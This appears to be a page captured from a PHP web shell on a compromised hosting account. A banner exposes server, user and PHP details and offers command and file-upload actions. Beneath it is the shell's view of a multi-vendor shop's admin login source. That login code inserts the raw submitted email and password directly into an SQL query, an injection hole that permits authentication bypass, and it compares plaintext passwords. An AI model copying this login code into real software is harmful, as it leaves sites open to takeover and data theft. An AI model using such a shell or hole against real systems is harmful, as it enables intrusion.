|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/.nvm/../public_html/lohri/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include "config/db.php";
if (isset($_POST['login'])) {
$email = $_POST['mail'] ?? '';
$password = $_POST['password'] ?? '';
$sql = "SELECT * FROM admin_users WHERE email = '$email' AND password = '$password' LIMIT 1";
$result = $con->query($sql);
if ($result && $result->num_rows === 1) {
$row = $result->fetch_assoc();
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
header("Location: admin/dashboard.php");
exit;
} else {
$error = "Invalid email or password.";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>TDS Admin Hub</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
<link rel="shortcut icon" href="assets/logo/favicon.ico" />
</head>
<body id="kt_body" class="app-blank app-blank">
<div class="d-flex flex-column flex-root" id="kt_app_root">
<div class="d-flex flex-column flex-lg-row flex-column-fluid">
<div class="d-flex flex-column flex-lg-row-fluid w-lg-50 p-10 order-2 order-lg-1">
<div class="d-flex flex-center flex-column flex-lg-row-fluid">
<div class="w-lg-500px p-10">
<div class="login-section">
<form class="form w-100" method="POST" action="index">
<div class="text-center mb-11">
<h1 class="text-dark fw-bolder mb-3">Administrator Access</h1>
<p class="text-muted fs-6">Secure login portal for authorized personnel only</p>
</div>
<?php if (isset($_GET['logout']) && $_GET['logout'] === 'success') : ?>
<div class="alert alert-info text-center mb-5">
You have been logged out successfully.
</div>
<?php endif; ?>
<?php if (isset($error)) : ?>
<div class="alert alert-danger text-center mb-5">
<?= $error ?>
</div>
<?php endif; ?>
<div class="fv-row mb-8">
<input
type="text"
placeholder="Email"
name="mail"
autocomplete="off"
class="form-control bg-transparent"
required
/>
</div>
<div class="fv-row mb-3">
<input
type="password"
placeholder="Password"
name="password"
autocomplete="off"
class="form-control bg-transparent"
required
/>
</div>
<div class="d-grid mb-10">
<button type="submit" name="login" class="btn btn-primary">
<span class="indicator-label">Sign In</span>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="d-flex flex-lg-row-fluid w-lg-50 bgi-size-cover bgi-position-center order-1 order-lg-2"
style="background-image: url(assets/media/misc/auth-bg.png)">
<div class="d-flex flex-column flex-center py-7 py-lg-15 px-5 px-md-15 w-100">
<img class="d-none d-lg-block mx-auto w-275px w-md-50 w-xl-500px mb-10 mb-lg-20"
src="assets/media/logos/LOGO.png" alt="" />
<h1 class="d-none d-lg-block text-white fs-2qx fw-bolder text-center mb-7">
Multi-Vendor Admin Panel
</h1>
<div class="d-none d-lg-block text-white fs-base text-center">
Easily oversee vendors, products, and orders with our intuitive<br />
multi-vendor admin panel. From vendor approvals to system-wide updates,<br />
enjoy full control, secure access, and seamless management.
</div>
</div>
</div>
</div>
</div>
<script src="assets/plugins/global/plugins.bundle.js"></script>
<script src="assets/js/scripts.bundle.js"></script>
<script>
// Hide alert after 4 seconds
setTimeout(() => {
const alertBox = document.querySelector(".alert-info");
if (alertBox) {
alertBox.style.transition = "opacity 0.5s";
alertBox.style.opacity = "0";
setTimeout(() => alertBox.remove(), 500);
}
}, 4000);
// Clean URL by removing ?logout=success
if (window.location.href.includes("?logout=success")) {
window.history.replaceState({}, document.title, window.location.pathname);
}
</script>
</body>
</html>